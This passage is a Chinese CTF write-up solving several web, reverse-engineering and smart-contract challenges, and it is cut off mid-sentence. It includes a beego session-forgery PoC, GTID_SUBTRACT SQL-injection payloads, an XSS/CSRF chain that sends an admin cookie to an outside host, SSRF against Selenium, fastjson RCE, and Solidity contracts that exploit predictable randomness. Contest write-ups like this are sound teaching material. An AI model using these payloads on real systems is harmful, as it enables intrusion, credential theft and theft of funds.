感谢blue-lotus的大师傅们带来的精彩的比赛!
[TOC]
注意到是1.7.2的beego框架,版本较低。
有文件上传且知道上传目录
参考https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
伪造session,poc:
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "username": "w1nd"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("test.png", data, 0777)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
但是这里有个问题,username不能乱搞,需要是admin,辣鸡w1nd是拿不到flag的
访问http://47.93.100.42:9999/static/js/main.dfa730c5.js.map
发现里面有两个比较可疑的函数searchHints()和getCaptcha()
发现两个新api: /api/hints
, /api/captcha
访问看看
又要爆破md5,有点麻烦,用@Klaus 师傅的彩虹表写个脚本
#!/usr/bin/python
import sqlite3
import sys
import requests
url='http://47.93.100.42:9999/api/captcha'
cookies={'koa.sid':'3a_l8xubuawJnYDcJ4mLQCpXqf9fQwT9','koa.sid.sig':'BROQFXCmmON-P5h3AcfeZIe4FTk'}
urll='http://47.93.100.42:9999/api/hints'
result=requests.get(url=url,cookies=cookies).text
print(result[-8:-2])
captcha_input=result[-8:-2]
conn = sqlite3.connect('/md5_567.db')
c=conn.cursor()
payload=sys.argv[1]
s=c.execute("select * from t_0_6 where md5='"+captcha_input+"';")
for i in s:
print i[1]
captcha=i[1]
data={'captcha':captcha,'hint':payload}
result=requests.post(url=urll,data=data,cookies=cookies).text
print result
发现开启了报错,但是fuzz了常见的报错注入函数发现都被过滤了
直到看到这篇文章
太强了
但是还有一个问题就是 有长度限制是140,直接注出来的表名都很长,加上表名会超长,猜测flag在一个表名较短的表里
a'||GTID_SUBTRACT((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),'a')#
发现是报错函数有长度限制,用reverse()把后面的打印出来
a'||GTID_SUBTRACT((reverse((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))),'a')#
发现果然flag就在一个表名短的表里面
注表名,然后发现payload刚好140个字...
'||GTID_SUBTRACT((select(group_concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'a')#
注出flag
'||GTID_SUBTRACT((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'a')#
在robots.txt发现/admin/handle_message.php
尝试post csrf token
猜测xss,发现过滤了/
果然有反射型xss
再尝试post正确的csrf token
再看页面上有一个contact.php 发现有bot会访问服务器
想到反射型xss+csrf:在服务器上写一个自动提交的表单让bot访问,触发反射型xss,xss打回管理员cookie:
//
会被转义成\/\/
,但是可以利用浏览器畸形解析特性,用\/tx.w1nd.top
也是可以发出请求的
试试打BOT cookie
登录,并在admin/index.php
发现有丶东西
经过测试发现单引号被转义了,一番测试,最后找到status参数,数字型注入
常规操作拿到flag
只能说因为某些原因这题没拿到flag吧,可惜了
登录admin之后会在contact看到
在SEAFARING1我们可以控制数据库了,尝试load_file读一下源码
明显ssrf
扫描到内网http://172.20.0.2:4444
跑了java selenium Remote Server
服务
查一下手册
https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol
参考
可以通过restful api 控制 浏览器,那思路很明确了,file://
协议任意文件读取+网页截图应该就能看到flag
但是创建session要POST请求
尝试了用bot自己的session发现不行
选择自己用gopher发送POST生成session,但是
打一条payload等500秒,而且等来的还很可以是个Runtime Error
...认了,放弃了。
赛后问了一下一血大佬@zzm ,原来是这种操作:
在url最后面打上一串0,就可以从500秒变成2秒……..绝了.jpg
然后就按照一开始的思路走就可获得flag
赛后补题ORZ….题目打开发现功能点很少,鸡肋的登录和一个search功能
那么考点应该在search处,抓包发现会传入一个sort参数,那么很明显是order by注入,这里第一个坑点是数据库不是mysql,导致我一直用mysql的payload打浪费了很长时间,后来发现了一个差异,这里无论order by后面是True 或者False都有回显不符合mysql特性,这才反应过来可能是别的数据库
测试了一下current_database()发现有回显,所以应该是postgresql,但是题目是HQL导致你无法union,测试了一下发现if,case when也用不了,后来发现可以用concat绕过
注入出admin密码15676543456,进了后台并没有看到flag,看了一下网络api,发现有个fastjson
猜测是fastjson那个rce,这里测试了好多exp都不能用,最后找到一个可以用的
把Poc.java编译成.class字节码并base64转储为文件
得到payload
所以最后payload
发包,getshell
IDA打开,发现fork了一个进程,子进程只执行了一个exec的命令,父进程执行了一个perf_event_open,注释如下:
if ( pid )
{
end_tag = 0xBEEFC0DE;
v10 = 0LL;
cpuset.__bits[0] |= 1uLL;
if ( sched_setaffinity(pid, 0x80uLL, &cpuset) == -1 ) //设置进程只在一个CPU上执行
perror("sched_setaffinity");
close(pipedes[0]);
sys_fd = trace_1(pid); //设置perf_event_open 1
mmap_fd(sys_fd, (__int64)output_data); //记录trace文件
v9 = trace_2(); //设置perf_event_open 2
mmap_fd_2(v9, sideband_data); //记录trace文件
write(pipedes[1], &end_tag, 4uLL); //开启子进程
close(pipedes[1]);
waitpid(pid, &stat_loc, 0); //等待进程
check_finish_status(sys_fd);
printf("pid = %d\n", (unsigned int)pid);
write_head(output_data);
write_package((struct perf_event_mmap_page *)output_data);
write_sideband((struct perf_event_mmap_page *)sideband_data);
result = 0LL; //写文件
}
猜测pt是子进程执行的文件,而packet和sideband是perf_event_open写入的记录文件
pt文件很简单,打开一个flag文件进行爆破
根据sub_400B23的字符串 open("/sys/bus/event_source/devices/intel_pt/type", 0);
简单搜索下发现了这几个项目
https://github.com/torvalds/linux/blob/master/tools/perf/Documentation/intel-pt.txt
装了一下processor-trace下的ptdump解码packet
ptdump --no-pad --no-cyc --no-timing --pt packet
里面记录看不懂,行⑧,RTFM
4027页 Chapter 35
大概知道tnt包用于记录条件短跳(jnz jg之类的),tip用于记录长跳地址,tip.pgd和tip.pge用于关闭和开启跳转记录。其中短跳的记录格式是记录最后几次跳转的,这里的记录都是tnt.8,用于记录8次跳转结果
还有一个示例
可以看到tnt记录了所有的条件跳转,并用1和0标识该跳转是否成功(但没有jmp)
最后的执行结果会把之前的tnt结果合并成一个8位的tnt包
而长跳之类的跳转都用TIP包记录
查看packet包,可以在里面发现400开头的地址,跟踪几个后发现记录了pt程序内的地址
具体的几个函数和在packet包内的地址如下
34bf start
35c7 csu_init
3607 main
36ff 400716 ret from open
37a7 40072d ret from lseek
52e7 4007cc ret from strlen
发现接下来的结果是一堆tnt包大概是这样的:
00000000000052f1 tnt.8 !!.!.!
00000000000052f4 tnt.8 .!.!.!
00000000000052f7 tnt.8 .!.!.!
00000000000052f9 tnt.8 .!.!.!
00000000000052fb tnt.8 .!.!.!
00000000000052fd tnt.8 .!.!.!
00000000000052ff tnt.8 .!.!.!
0000000000005301 tnt.8 .!.!.!
0000000000005303 tnt.8 .!.!.!
0000000000005305 tnt.8 .!.!.!
0000000000005307 tnt.8 .!.!.!
0000000000005309 tnt.8 .!.!.!
000000000000530b tnt.8 .!.!.!
000000000000530d tnt.8 .!.!.!
000000000000530f tnt.8 .!.!.!
0000000000005311 tnt.8 .!.!.!
猜测这就是用于爆破flag的函数执行过程。查看strlen调用后对应的汇编
.text:00000000004007CC mov [rbp+var_14], eax
.text:00000000004007CF mov [rbp+var_1C], 0
.text:00000000004007D6 jmp short loc_400809 ; tnt包不记录
.text:00000000004007D8 ; ---------------------------------------------------------------------------
.text:00000000004007D8
.text:00000000004007D8 loc_4007D8: ; CODE XREF: main+72↓j
.text:00000000004007D8 mov [rbp+var_18], 20h
.text:00000000004007DF jmp short loc_4007FC ; tnt包不记录
.text:00000000004007E1 ; ---------------------------------------------------------------------------
.text:00000000004007E1
.text:00000000004007E1 loc_4007E1: ; CODE XREF: main+63↓j
.text:00000000004007E1 mov rdx, [rbp+s]
.text:00000000004007E5 mov eax, [rbp+var_1C]
.text:00000000004007E8 cdqe
.text:00000000004007EA add rax, rdx
.text:00000000004007ED movzx eax, byte ptr [rax]
.text:00000000004007F0 movsx eax, al
.text:00000000004007F3 cmp eax, [rbp+var_18]
.text:00000000004007F6 jz short loc_400804 ; tnt包记录 爆破成功判断
.text:00000000004007F8 add [rbp+var_18], 1
.text:00000000004007FC
.text:00000000004007FC loc_4007FC: ; CODE XREF: main+42↑j
.text:00000000004007FC cmp [rbp+var_18], 7Eh
.text:0000000000400800 jle short loc_4007E1 ; tnt包记录 内层for判断
.text:0000000000400802 jmp short loc_400805
.text:0000000000400804 ; ---------------------------------------------------------------------------
.text:0000000000400804
.text:0000000000400804 loc_400804: ; CODE XREF: main+59↑j
.text:0000000000400804 nop
.text:0000000000400805
.text:0000000000400805 loc_400805: ; CODE XREF: main+65↑j
.text:0000000000400805 add [rbp+var_1C], 1
.text:0000000000400809
.text:0000000000400809 loc_400809: ; CODE XREF: main+39↑j
.text:0000000000400809 mov eax, [rbp+var_1C]
.text:000000000040080C cmp eax, [rbp+var_14]
.text:000000000040080F jl short loc_4007D8 ; tnt包记录 外层for判断
.text:0000000000400811 mov eax, 0
.text:0000000000400816 mov rcx, [rbp+var_8]
.text:000000000040081A xor rcx, fs:28h
.text:0000000000400823 jz short locret_40082A
.text:0000000000400825 call ___stack_chk_fail
.text:000000000040082A ; ---------------------------------------------------------------------------
.text:000000000040082A
.text:000000000040082A locret_40082A: ; CODE XREF: main+86↑j
.text:000000000040082A leave
.text:000000000040082B retn
可以看出如果还爆破过程中,即在进行内层循环时,每次循环tnt包应该记录两个跳转:内层for判断和爆破成功判断。而如果爆破成功,会记录3次跳转后转到下一字节的爆破中(内层for跳转为真,爆破成功跳转为真,外层for跳转为真),因此可以直接提取这块数据写脚本跑
flow = ""
f = open("flow.txt","r")
while True:
tmp = f.readline()
if tmp != "":
flow += tmp.rstrip()
else:
break
flow = flow[1:]
length = len(flow)
i = 0
j = ord(' ')
res = []
while i < length-1:
if flow[i] == '!' and flow[i+1] == '.':
j += 1
i += 2
else:
res.append(chr(j))
j = ord(' ')
i += 3
print "".join(res)
拿到源码,查看合约的主体
contract EOSGame{
using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;
event FLAG(string b64email, string slogan);
constructor() public{
eos=new EOSToken();
}
function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}
function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}
function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}
function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
一个简单的赌博游戏,显然这里的随机数是可预测的,因为取的仅仅是区块号与时间戳,而用户方面则是取了bet的次数作为输入,同时注意到里面还有smallBlind
和bigBlind
来提供不同的下注额度,small仅需1 token,而big则需要20 token,猜对的奖励则是赌注的100倍,看到这里我的想法就是拿smallBlind
来更新我们的bet_count
,当bet_count
满足需求时再使用bigBlind
,写一个简单的攻击合约
contract attack {
EOSGame target = EOSGame(0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F);
function pwn() public {
for (uint i=target.bet_count(your account)+1;i<target.bet_count(your account)+21;i++){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % 20;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(i)));
uint256 lucky = lucky_hash % 20;
if (shark == lucky){
target.bigBlind();
break;
}
else{
target.smallBlind();
}
}
}
}
因为bet中的模数为20,所以这里循环的次数我也就设置为20,满足bigBlind
的要求后即break
,这样一次的收益差不多在2000左右,因为getflag所需的token
为18888,感觉也没必要写脚本跑,手动调用就可以了。
不过拿了一血后看了一下后面的师傅们的做法,发现很多人都选择了直接暴力调用bigBlind
函数,合约的交易池急剧增长,这也是将题目部署在测试链的弊端,很容易就被别人抄作业了。我又看了一眼合约,确实,赢一次的奖励太丰厚,20直接变2000,够用100次的,而成功一次的尝试次数的期望则为20次,怎么着都是不亏的,所以直接暴力跑交易即可,题目设计上可能还是欠了考虑。而且即使是用这种做法感觉也是写个合约循环跑比较方便,不知为何大家都选择了直接发交易,可能是前几次比赛薅羊毛留下的后遗症吧。
拿到源码,看看合约的主体部分
contract WinnerList{
address public owner;
struct Richman{
address who;
uint balance;
}
function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}
}
contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;
event FLAG(string b64email, string slogan);
constructor(address _addr) public{
wlist = WinnerList(_addr);
}
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}
function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}
}
看样子似乎又是一个随机数预测,其中的turingTest
可使用合约的构造函数绕过,至于下面的空投函数,我们可以看到只有其中的msg.sender
是我们可控的,其他的都是区块信息,也就是说每个发送者在每个区块中能否中奖是确定的。
有意思的是seed中使用的是msg.sender
,到了下